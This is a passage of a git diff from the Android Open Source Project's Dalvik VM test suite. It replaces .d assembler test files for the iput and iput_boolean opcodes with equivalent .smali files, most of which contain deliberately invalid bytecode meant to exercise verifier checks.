diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.smali
new file mode 100644
index 0000000..04fada5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_4.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput v3, v2, Ldot/junit/opcodes/iput/d/T_iput_4;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.d
deleted file mode 100644
index c34dbac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_5.java
-.class public dot.junit.opcodes.iput.d.T_iput_5
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)V
-.limit regs 3
-
-       iput v2, v1, dot.junit.opcodes.iput.d.T_iput_5.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.smali
new file mode 100644
index 0000000..99afedb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_5.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_5;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)V
+.registers 3
+
+       iput v2, v1, Ldot/junit/opcodes/iput/d/T_iput_5;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.d
deleted file mode 100644
index af7b003..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_7.java
-.class public dot.junit.opcodes.iput.d.T_iput_7
-.super java/lang/Object
-
-.field public static st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_7.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.smali
new file mode 100644
index 0000000..912bba0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_7.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_7;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.d
deleted file mode 100644
index 6c1ed20..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_8.java
-.class public dot.junit.opcodes.iput.d.T_iput_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-      new-instance v0, Ldot/junit/opcodes/iput/TestStubs;
-      invoke-direct {v0}, dot/junit/opcodes/iput/TestStubs/<init>()V
-
-       const v1, 0
-       iput v1, v0, dot.junit.opcodes.iput.TestStubs.TestStubField I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.smali
new file mode 100644
index 0000000..f638322
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_8.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+      new-instance v0, Ldot/junit/opcodes/iput/TestStubs;
+      invoke-direct {v0}, Ldot/junit/opcodes/iput/TestStubs;-><init>()V
+
+       const v1, 0
+       iput v1, v0, Ldot/junit/opcodes/iput/TestStubs;->TestStubField:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.d
deleted file mode 100644
index 7c7d755..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_9.java
-.class public dot.junit.opcodes.iput.d.T_iput_9
-.super java/lang/Object
-
-.field public st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_9noclass.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.smali
new file mode 100644
index 0000000..762d440
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_9.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_9noclass;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.d
deleted file mode 100644
index 47ee9dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_1.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1
-.super java/lang/Object
-
-.field public  st_i1 Z
-.field protected  st_p1 Z
-.field private  st_pvt1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public  getPvtField()Z
-.limit regs 2
-
-       iget-boolean v0, v1, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1.st_pvt1 Z
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1.st_i1 Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.smali
new file mode 100644
index 0000000..ce80fd5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_1.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+.field protected  st_p1:Z
+.field private  st_pvt1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()Z
+.registers 2
+
+       iget-boolean v0, v1, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_pvt1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_i1:Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.d
deleted file mode 100644
index 77f762a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_10.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_10
-.super java/lang/Object
-
-.field public st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_10.st_i1N Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.smali
new file mode 100644
index 0000000..d6bb024
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_10.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_10;->st_i1N:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.d
deleted file mode 100644
index 9f8d148..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_11.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_boolean/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_boolean/TestStubs/<init>()V
-
-       const v1, 1
-       iput-boolean v1, v0, dot.junit.opcodes.iput_boolean.TestStubs.TestStubFieldFinal Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.smali
new file mode 100644
index 0000000..8f1577e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_11.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/TestStubs;->TestStubFieldFinal:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.d
deleted file mode 100644
index 327fef6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_12.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_12
-.super java/lang/Object
-
-.field public  final st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_12.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.smali
new file mode 100644
index 0000000..e7551d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_12.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_12;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.d
deleted file mode 100644
index cbe6560..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_13.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_13
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 0
-       const v1, 1
-       iput-boolean v1, v0, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_13.st_i1 Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.smali
new file mode 100644
index 0000000..dd5c4c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_13.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 1
+       iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_13;->st_i1:Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.d
deleted file mode 100644
index 8a7f23e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_14.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_14
-.super dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()Z
-.limit regs 2
-
-       iget-boolean v0, v1, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1.st_p1 Z
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1.st_p1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.smali
new file mode 100644
index 0000000..7bd8edd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_14.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_14;
+.super  Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()Z
+.registers 2
+
+       iget-boolean v0, v1, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_p1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_p1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.d
deleted file mode 100644
index 605fab5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
